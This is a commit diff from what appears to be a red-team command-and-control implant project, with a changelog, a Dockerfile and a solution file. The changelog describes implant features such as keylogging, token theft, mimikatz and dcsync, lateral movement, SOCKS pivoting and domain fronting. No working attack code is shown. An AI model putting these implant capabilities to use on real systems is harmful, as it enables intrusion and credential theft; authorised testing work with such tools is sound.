refactor(payload): rename apollo to ares and update documentation

This commit renames the Apollo payload type to Ares, moving all associated files and updating documentation accordingly. The change includes: - Renaming directories from `apollo` to `ares` - Updating documentation image references - Maintaining the same code functionality while changing the payload name - Adding new Ares-specific documentation files - Removing old Apollo documentation files The rename is done to reflect the new payload name while preserving all existing functionality.
2026-09-08 22:01:10 +08:00 · 2026-04-14 14:02:44 +07:00
1 parent e14b1f21eb
commit 03d283cf49
@@ -0,0 +1,599 @@
+# Changelog
+All notable changes to this project will be documented in this file.
+
+The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
+and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+
+## [v2.4.12] - 2026-03-18
+
+### Changed
+
+- Added in `list_registered_files` and `remove_registered_file` commands to interact with Apollo's internal file store
+
+## [v2.4.11] - 2026-03-13
+
+### Changed
+
+- Merged in PRs to support `httpx` and `azure_blob` C2 profiles
+- Merged in PR to support a few forms of environmental keying (execution checks, not encryption)
+
+## [v2.4.10] - 2026-02-20 
+
+### Changed
+
+- Updated the `upload` command to allow new `-fileName` field and specifying an already uploaded file
+  - this brings `upload` in line with other file-based commands like `execute_assembly` and `execute_coff`
+  
+## [v2.4.9] - 2026-02-02
+
+### Changed
+
+- Updated `COFFLoader.dll` to be compiled with `Release` to help fix `VCRUNTIME140.dll` issues
+
+## [v2.4.8] - 2025-12-23
+
+### Changed
+
+- Added `update_deleted` to more places within `ls` that do separate processing for better consistency
+
+## [v2.4.7] - 2025-12-23
+
+### Changed
+
+- Added support for `update_deleted` in file browsers to auto mark files as "deleted" if they're not in folder listings
+
+## [v2.4.6] - 2025-12-15
+
+### Changed
+
+- Fixing missing dependency change for custom browsers
+
+## [v2.4.5] - 2025-12-12
+
+### Changed
+
+- Updated the COFFLoader.dll with the latest updates from TrustedSec's COFFLoader
+- Added ldap_query
+- Updated reg_query
+
+## [v2.4.4] - 2025-12-02
+
+### Changed
+
+- Fixed a bug in `powerpick` that referenced an exception class in ExecuteAssembly
+
+## [v2.4.3] - 2025-10-29
+
+### Changed
+
+- Updated PyPi package to v0.6.6
+
+## [v2.4.2] - 2025-10-28
+
+### Changed
+
+- Updated PyPi Version to allow build parameters to specify ui position
+
+## [v2.4.1] - 2025-10-27
+
+### Added
+
+- Added support for the HTTPX Profile C2 transport
+  - Uses client-side generated RSA keys (4096-bit) to perform EKE (Encrypted Key Exchange)
+  - Supports malleable profile transforms: base64, base64url, netbios, netbiosu, xor, prepend, append
+  - Supports all REST HTTP methods: GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD
+  - Supports message placement in query parameters, cookies, headers, and body
+  - Supports proxy configuration with authentication
+  - Supports domain fronting and custom HTTP headers
+  - Supports failover and round-robin domain rotation strategies
+- Added environment keying support for hostname, domain name and registry keys
+- Build process now conditionally includes only selected C2 profile projects
+
+### Changed
+
+- Updated PyPi version
+- Merged in hotfix for P2P comms missing messages sometimes
+
+## [v2.4.0] - 2025-10-07
+
+### Changed
+
+- Updated to mythic-container==v0.6.0 for dynamic parameters
+- Updated build parameters to hide shellcode parameters when output type is not shellcode
+- Updated c2 deviations to hide get-based parameters that aren't used by this profile
+- Updated make_token to allow blank passwords
+- Updated ticket_store_purge to process `all` flag properly
+
+## [v2.3.51] - 2025-09-12
+
+## Changed
+
+- Updated steal_token to report back the integrity level of the old and new token
+- Updated steal_token to adjust the callback's integrity level 
+- Updated rev2self to adjust the callback's integrity level
+
+## [v2.3.50] - 2025-09-12
+
+### Changed
+
+- Fixed an issue with spawning processes after doing a `steal_token`
+  - it was using the primary token instead of the impersonated identity
+  
+## [v2.3.49] - 2025-09-10
+
+### Changed
+
+- Updated apollo's `ls` functionality to check if a path ends in `:` and update it to `:\` instead
+  - this fixes an issue with windows resolving `C:` as the current working directory compared to `C:\`
+  
+## [v2.3.48] - 2025-08-25
+
+### Changed
+
+- Fixed parsing for kerberos tickets in ticket_store_add 
+
+## [v2.3.47] - 2025-08-21
+
+### Changed
+
+- Updated the parsing for kerberos tickets via impacket to handle missing time values in tickets
+
+## [v2.3.46] - 2025-08-19
+
+### Changed
+
+- Updated inline_assembly to check thread execution with timeouts to be able to detect kill jobs for threads better
+- Updated execute_pe to just report back process exit instead of misleading error codes
+
+## [v2.3.45] - 2025-08-11
+
+### Changed
+
+- Fixed a bug in Apollo's P2P code where queued messages could pile up and not get sent
+
+## [v2.3.44] - 2025-07-24
+
+### Changed
+
+- Updated reg_write_value to split input on new lines for multiline input types
+
+## [v2.3.43] - 2025-07-24
+
+### Changed
+
+- Updated reg_write_value to allow you to specify the type of data to write
+- Updated screenshot and screenshot_inject to not send extra file_ids to user output since PutFile does that automaically
+
+## [v2.3.42] - 2025-07-24
+
+### Changed
+
+- Updated the screenshot_inject processing to use donut PyPi package
+
+## [v2.3.41] - 2025-07-18
+
+### Changed
+
+- Updated the file upload messages to show chunk status and bail out on errors
+- Updated the status for execute_coff and execute_assembly to be more informative
+
+## [v2.3.40] - 2025-07-17
+
+### Changed
+
+- Fixed an issue with upload via file browser not respecting pathing
+
+## [v2.3.39] - 2025-07-15
+
+### Changed
+
+- Fixed a bug with ls-ing UNC paths via the file browser for alternative hosts
+
+## [v2.3.38] - 2025-07-15
+
+### Changed
+
+- Updated `socks` and `rpfwd` tasks to auto-issue `sleep 0` tasks when starting
+- Updated `socks` task to auto-issue `sleep 1` when stopping
+- Updated `socks` and `rpfwd` task display parameters
+- Updated `jobkill` display parameters to be more meaningful
+- Updated `jump_psexec` output to make sc output prettier
+- Updated `powerpick`, `execute_assembly`, and `execute_pe` to check for sacrificial process pid > 0 rather than exit
+  - this fixes a bug where access denied when spawning would lock when trying to kill a non-existent pid
+- Updated logic in high integrity to only list out ticket cache values for current logon if no luid specified
+- Updated ticket_cache_list to report back the current LUID even if there are no tickets available
+  - Updated the associated browser script to account for this
+  
+## [v2.3.37] - 2025-07-14
+
+### Changed
+
+- Fixed a small bug in make_token output that was repeating the old token claims instead of the new ones
+- Fixed the same bug in steal_token output
+
+## [v2.3.36] - 2025-07-11
+
+### Changed
+
+- Updated wmiexecute to try two different ways of impersonating user context for remote execution
+- Added CoInitializeSecurity call into apollo main program
+
+## [v2.3.35] - 2025-07-11
+
+### Changed
+
+- Updated display params for wmiexecute
+- Updated display params for ticket_cache_list
+
+## [v2.3.34] - 2025-07-10
+
+### Changed
+
+- Fixing keylog_inject
+  - adding keylog_inject browser script to go with it for basic conversion
+  
+## [v2.3.33] - 2025-07-10
+
+### Changed
+
+- Added a new interface function to update the Agent UUID
+  - Used this interface in HTTP and Websocket profiles
+  - Updated `unlink` command to leverage this for properly reflecting unlinked agents
+- Fixed an issue in P2P code that wouldn't update P2P UUID after negotiating
+
+## [v2.3.32] - 2025-07-08
+
+### Changed
+
+- Updated the help for the ticket commands
+- Updated the error message for ticket_cache_extract
+- Updated the completion function for ticket_cache_extract
+
+## [v2.3.31] - 2025-07-07
+
+### Changed
+
+- Updated the processing for ticket_cache_list to better account for high/medium context
+- Updated wmiexecute error code to be in hex not int
+- Updated WebSocketClient code to reconnect on disconnect and added a few more checks for Proxy configs
+
+## [v2.3.30] - 2025-07-03
+
+### Changed
+
+- Updated execute_coff, execute_assembly, inline_assembly, execute_pe, inline_assembly, and assembly_inject
+  - these no longer require `register_*` commands and will automatically fetch the file if needed first
+
+## [v2.3.29] - 2025-06-23
+
+### Changed
+
+- Updated `cd` callback information to get the new proper directory instead of what the user supplied
+
+## [v2.3.28] - 2025-06-19
+
+### Changed
+
+- Updated the make_token and steal_token commands to report back Auth status, Auth Package, and Claims per token
+
+## [v2.3.27] - 2025-06-17
+
+### Changed
+
+- Updated the build for COFFLoader.dll
+
+## [v2.3.26] - 2025-06-17
+
+### Changed
+
+- Updated apollo to support new cwd and impersonation_context fields
+- Updated execute_coff to copy COFFLoader.dll instead of move it as needed
+
+## [v2.3.25] - 2025-06-05
+
+### Changed
+
+- Fixed type mismatch for ProxyPort
+
+## [v2.3.24] - 2025-06-05
+
+### Changed
+
+- Updated the parsing of CallbackHost/CallbackPort and ProxyHost/ProxyPort to be more reliable
+
+## [v2.3.23] - 2025-05-29
+
+### Changed
+
+- Updated the file download to report back the file id sooner
+- Updated download browser script to display media as the file is downloading
+- Updated execute_coff and execute_assembly to have register_file as dependencies
+- Updated execute_coff to call execute_file instead of execute_coff command
+
+## [v2.3.22] - 2025-05-28
+
+### Changed
+
+- Updated a reference in the execute_pe task to not reference an exception name in the execute_assembly task
+
+## [v2.3.21] - 2025-05-14
+
+### Changed
+
+- Updated the builder to include all commands when building a debug version of apollo
+- Updated the p2p code to initializes the edges array so checks for edge lengths don't crash
+
+## [v2.3.20] - 2025-04-29
+
+### Changed
+
+- Updated some kerberos ticket functions to return more detailed error messages
+
+## [v2.3.19] - 2025-04-29
+
+### Changed
+
+- Updated the `rpfwd` implementation to send Mythic notifications about new connections, not just new data
+
+## [v2.3.18] - 2025-04-29
+
+### Changed
+
+- Updated the `ticket_cache_add` call to return more error status information
+
+## [v2.3.17] - 2025-04-28
+
+### Changed
+
+- Updated `rpfwd` to allow specifying a debug level to help with troubleshooting rpfwd issues
+- Fixed the `debug` build option to properly respect user supplied c2 configuration options
+
+## [v2.3.16] - 2025-04-10
+
+### Changed
+
+- Updated the processing for mimikatz credentials
+- Updated sleep to not have JSON in the display parameters
+- Updated error messages in sleep
+- Updated execute_assembly display parameters
+- Updated link .net command to test webshell connectivity first
+
+## [v2.3.15] - 2025-04-02
+
+### changed
+
+- Fixed an issue with webshell linking
+
+## [v2.3.14] - 2025-03-30
+
+### Changed
+
+- Fixed an issue with setting configuration options with `\` characters not getting properly escaped
+- Updated PyPi package
+
+## [v2.3.13] - 2025-03-24
+
+### Changed
+
+- Fixed an issue with the inject command trying to auto-issue a follow-on link for p2p-based shellcode
+
+## [v2.3.12] - 2025-03-16
+
+### Changed
+
+- Added an action (stop/start) for the SOCKS command
+- Added an option for username/password for rpfwd/socks command
+- Added a check in jobkill for the rpfwd command to auto stop it from the Mythic side
+
+## [v2.3.11] - 2025-03-16
+
+### Changed
+
+- Added a few more try/catch blocks for named pipe writes
+- Fixed a compile bug with an out of scope variable
+
+## [v2.3.10] - 2025-03-14
+
+### Changed
+
+- Added a few more try/catch blocks for named pipe writes to help with breaks
+
+## [v2.3.9] - 2025-03-14
+
+### Changed
+
+- Updated `ticket_store_add` to not create a temp logon session to fetch ticket information
+  - Instead, ticket information is fetched via impacket in the apollo container first and sent down with the task
+  
+## [v2.3.8] - 2025-03-12
+
+### Changed
+
+- Added `debug` build option
+
+## [v2.3.7] - 2025-03-12
+
+### Changed
+
+- Added the ability to select already uploaded files as part of the register_* commands
+
+## [v2.3.6] - 2025-03-12
+
+### Changed
+
+- Added `-p:DebugType=None -p:DebugSymbols=false` to all `dotnet build` commands
+- Removed sRDI package as it wasn't used
+- Standardized donut usage to all be with the donut binary and not partially with the donut PyPi package
+- Updated ticket_[store|cache]_list commands to return structured JSON
+- Added browser scripts for ticket_[store|cache]_list commands
+- 
+## [v2.3.5] - 2025-03-03
+
+### Changed
+
+- Fixed a bug in Apollo's named pipe server that would break on writes for immediate disconnects from clients
+
+## [v2.3.4] - 2025-03-03
+
+### Changed
+
+- Fixed a bug in `ls` that would fail to return data about files/folders if apollo couldn't get full information
+- Added a `getsystem` command
+- Updated `execute_coff` to spin off a new thread and set the impersonation context on that thread
+
+## [v2.3.3] - 2025-02-28
+
+### Changed
+
+- Removed unnecessary make_token reference from sleep
+
+## [v2.3.2] - 2025-02-25
+
+### Changed
+
+- Removed RunOF and replaced it with TrustedSec's COFFLoader project
+- Adjusted the execute_coff command to pack args instead of sending down a typed array
+- Added a reflective loader for the COFFLoader.dll (with Claude)
+- Updated execute_pe's remote loaded code to hook more exit functions and load files better (with Claude)
+
+## [v2.3.1] - 2025-02-11
+
+### Changed
+
+- Fixed a bug in `upload` that would try to create a UNC path even if the supplied hostname was the same as the current host
+
+## [v2.3.0] - 2025-02-10
+
+### Changed
+
+- Updated TCP and SMB profiles to function the same way
+- Updated TCP and SMB profiles to use new TCP and SMB profile definitions
+  - Message formats changed, so v2.3 apollo agents cannot link to v2.2 apollo agents
+  - This change means that apollo TCP can link with Poseidon TCP
+
+## [v2.2.25] - 2025-01-30
+
+### Changed
+
+- Fixed a bug with upload if remote_path wasn't specified causing regex to break
+- Updated execute_coff to optionally take in a file at execution time to support forge
+- Updated execute_assembly to optionally take in a file at execution time to support forge
+- Updated inline_assembly to optionally take in a file at execution time to support forge
+
+## [v2.2.24] - 2025-01-08
+
+### Changed
+
+- Updated the KerberosTicket storage to handle fetching the right ticket more reliably
+
+## [v2.2.23] - 2025-01-08
+
+### Changed
+
+- Updated the ticket_ticket_list to provide the flag for filtering SYSTEM tickets instead of doing it by default
+- Updated sleep to make Jitter an optional parameter
+
+## [v2.2.21] - 2024-11-12
+
+### Changed
+
+- Added some options to the builder for specifying config options for donut
+- Added an option to auto-adjust the final payload name based on the configured options
+
+## [v2.2.20] - 2024-11-12
+
+### Changed
+
+- Updated powerpick and PowerShellHost to handle output the same way as execute_assembly and execute_pe
+- Updated sacrificial process code to only star tasks for reading stdout/stderr for non-fork and run jobs
+- Updated `ps` to include `update_deleted` and send all output at once so Mythic can update the process browser properly
+- Updated `kill` to also support `process_browser:kill`
+
+## [v2.2.19] - 2024-11-08
+
+### Changed
+
+- Updated execute_pe code to use named pipes for reading output
+- Updated sacrificial process code to read stdout as well for commands like run
+- Updated run/shell to read output and exit
+
+## [v2.2.18] - 2024-10-16
+
+### Changed
+
+- Updated `sleep` to take named parameters
+- Updated `wmiexecute` to include Evan's wmi execute with impersonation tokens work https://gist.github.com/EvanMcBroom/99ea88304faec38d3ed1deefd1aba6f9
+- Updated `ls` to check for a CWD of a UNC path before returning bad data for the browser script to leverage
+- Updated `upload` and `download` to also try to process a CWD of a UNC path when returning full paths for the file browser
+- Added `host` field to return `upload` data to try to more accurately capture the host of where data is uploaded
+
+## [v2.2.17] - 2024-10-04
+
+### Changed
+
+- updated execute_assembly injected stub to hopefully capture more output successfully
+
+## [v2.2.16] - 2024-10-03
+
+### Changed
+
+- updated `jump_wmi` command
+- added `jump_psexec` command
+- added `Service` build option
+- updated execute_assembly and sacrificial processes to hopefully capture more output consistently
+
+## [v2.2.15] - 2024-09-27
+
+### Changed
+
+- Added in new `jump_wmi` command
+- Updated `make_token` to allow cli args instead of just modal without registering new creds
+- Updated sizes in ls browser script
+
+## [v2.2.14] - 2024-09-24
+
+### Changed
+
+- Added in functionality to link to Arachne via webshell configuration
+
+## [v2.2.13] - 2024-08-21
+
+### Changed
+
+- Added in functionality from Evan McBroom to handle impersonated tokens in some situations with wmiexecute
+
+## [v2.2.12] - 2024-08-20
+
+### Changed
+
+- Fixed the ptr errors in net_localgroup and net_localgroup_member
+
+## [v2.2.11] - 2024-08-19
+
+### Changed
+
+- Fixed an issue with keylogs coming in one keystroke at a time
+- Fixed an issue with ps command_line having broken quotes
+- Added rpfwd capabilities
+
+## [v2.2.10] - 2024-08-15
+
+### Changed
+
+- Updated pth, mimikatz, dcsync to report as alias commands so load will work properly
+
+## [v2.2.5] - 2024-05-10
+
+### Changed
+
+- Merged in Websocket PR
+- Merged in ExecuteCOFF PR
+- Added ticket_cache* commands for interacting with local kerberos tickets
+- Added ticket_store_* commands for interacting with a local kerberos store within the agent
+- Added wmi_execute command for executing WMI locally and remotely
+- Fixed double quoting issue in some commands
+- Fixed reg_write command
+- Updated `shell` to execute `run` without spawning sub task
+- Fixed jobs command
+- Updated .NET version used
+- Fixed SOCKS command performance and reliability
@@ -0,0 +1,23 @@
+FROM mcr.microsoft.com/dotnet/sdk:8.0
+RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y
+
+RUN curl -L -o donut_shellcode-2.0.0.tar.gz https://github.com/MEhrn00/donut/releases/download/v2.0.0/donut_shellcode-2.0.0.tar.gz && \
+    tar -xf donut_shellcode-2.0.0.tar.gz && \
+    cd donut_shellcode-2.0.0 && \
+    make && \
+    cp donut / && \
+    rm -rf donut_shellcode-2.0.0 && \
+    rm -rf donut_shellcode-2.0.0.tar.gz
+
+WORKDIR /Mythic/
+RUN python3 -m venv /venv
+RUN /venv/bin/python -m pip install mythic-container==0.6.14 mslex impacket toml
+RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0
+
+COPY [".", "."]
+
+# fetch all dependencies
+RUN cd apollo/agent_code && dotnet restore --verbosity quiet && rm donut ; cp /donut donut
+RUN cd apollo/agent_code && cp COFFLoader.dll /COFFLoader.dll
+
+CMD ["bash", "-c", "cp /donut apollo/agent_code/donut && /venv/bin/python main.py"]
@@ -0,0 +1,3 @@
+# Do not format the Apollo Config.cs file
+[Apollo/Config.cs]
+generated_code = true
@@ -0,0 +1,6 @@
+{
+    "recommendations": [
+        "ms-dotnettools.csharp",
+        "ms-dotnettools.csdevkit"
+    ]
+}
@@ -0,0 +1,372 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.8.34525.116
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ApolloInterop", "ApolloInterop\ApolloInterop.csproj", "{5B5BD587-7DCA-4306-B1C3-83A70D755F37}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "HttpProfile", "HttpProfile\HttpProfile.csproj", "{74B393F3-4000-49AC-8116-DCCDB5F52344}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PSKCryptography", "PSKCrypto\PSKCryptography.csproj", "{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PlaintextCryptography", "PlaintextCrypto\PlaintextCryptography.csproj", "{ED320CE0-C28F-4B07-A353-9B14C261E8A3}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Apollo", "Apollo\Apollo.csproj", "{F606A86C-39AF-4B5A-B146-F14EDC1D762C}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "NamedPipeProfile", "NamedPipeProfile\NamedPipeProfile.csproj", "{3AF39094-7F42-4444-A278-FA656EB4678F}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Tasks", "Tasks\Tasks.csproj", "{B9BDA393-C258-44D3-8266-D62265008BD4}"
+	ProjectSection(ProjectDependencies) = postProject
+		{92E783D2-0C9D-490E-AC6B-F3ED6520F12B} = {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}
+	EndProjectSection
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "TcpProfile", "TcpProfile\TcpProfile.csproj", "{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Injection", "Injection\Injection.csproj", "{E4724425-FC2D-40AE-9506-553D5D9DD929}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Process", "Process\Process.csproj", "{6008A59E-80A4-4790-8FE3-01DE201D71B3}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecuteAssembly", "ExecuteAssembly\ExecuteAssembly.csproj", "{8806CD1D-AA64-4E9F-91C7-B579765549B0}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "EncryptedFileStore", "EncryptedFileStore\EncryptedFileStore.csproj", "{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PowerShellHost", "PowerShellHost\PowerShellHost.csproj", "{1D897A8A-1394-4561-B31C-D8312462500C}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ScreenshotInject", "ScreenshotInject\ScreenshotInject.csproj", "{E05B7224-D965-422C-9B12-E6DEE1BFAC64}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "KeylogInject", "KeylogInject\KeylogInject.csproj", "{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecutePE", "ExecutePE\ExecutePE.csproj", "{44D50BF5-4C12-4328-B983-0045C157D932}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "DInvokeResolver", "DInvokeResolver\DInvokeResolver.csproj", "{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "SimpleResolver", "SimpleResolver\SimpleResolver.csproj", "{6CA1FF03-8102-41D5-9D57-CC2DA346D684}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WebsocketProfile", "WebsocketProfile\WebsocketProfile.csproj", "{74855A66-CD77-4CCA-AFD9-09E275E47591}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KerberosTickets", "KerberosTickets\KerberosTickets.csproj", "{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE.Standalone", "ExecutePE.Standalone\ExecutePE.Standalone.csproj", "{8F530743-F632-41FC-BBEA-B6727542A719}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COFFLoader", "COFFLoader\COFFLoader.vcxproj", "{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}"
+EndProject
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "AzureBlobProfile", "AzureBlobProfile\AzureBlobProfile.csproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpxProfile", "HttpxProfile\HttpxProfile.csproj", "{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}"
+EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpxTransform", "HttpxTransform\HttpxTransform.csproj", "{BF1EB4E2-0979-4C26-A156-E59C929CF710}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Debug|x64 = Debug|x64
+		Debug|x86 = Debug|x86
+		Release|Any CPU = Release|Any CPU
+		Release|x64 = Release|x64
+		Release|x86 = Release|x86
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.ActiveCfg = Debug|x64
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.Build.0 = Debug|x64
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.ActiveCfg = Debug|x64
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.Build.0 = Debug|x64
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.Build.0 = Release|Any CPU
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.ActiveCfg = Release|x64
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.Build.0 = Release|x64
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.ActiveCfg = Release|x86
+		{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.Build.0 = Release|x86
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.ActiveCfg = Debug|x64
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.Build.0 = Debug|x64
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.ActiveCfg = Debug|x64
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.Build.0 = Debug|x64
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.Build.0 = Release|Any CPU
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.ActiveCfg = Release|x64
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.Build.0 = Release|x64
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.ActiveCfg = Release|x86
+		{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.Build.0 = Release|x86
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.ActiveCfg = Debug|x64
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.Build.0 = Debug|x64
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.ActiveCfg = Debug|x64
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.Build.0 = Debug|x64
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.Build.0 = Release|Any CPU
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.ActiveCfg = Release|x64
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.Build.0 = Release|x64
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.ActiveCfg = Release|x86
+		{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.Build.0 = Release|x86
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.ActiveCfg = Debug|x64
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.Build.0 = Debug|x64
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.ActiveCfg = Debug|x64
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.Build.0 = Debug|x64
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.Build.0 = Release|Any CPU
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.ActiveCfg = Release|x64
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.Build.0 = Release|x64
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.ActiveCfg = Release|x86
+		{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.Build.0 = Release|x86
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.ActiveCfg = Debug|x64
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.Build.0 = Debug|x64
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.ActiveCfg = Debug|x64
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.Build.0 = Debug|x64
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.Build.0 = Release|Any CPU
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.ActiveCfg = Release|x64
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.Build.0 = Release|x64
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.ActiveCfg = Release|x86
+		{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.Build.0 = Release|x86
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.ActiveCfg = Debug|x64
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.Build.0 = Debug|x64
+		{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.ActiveCfg = Debug|x64
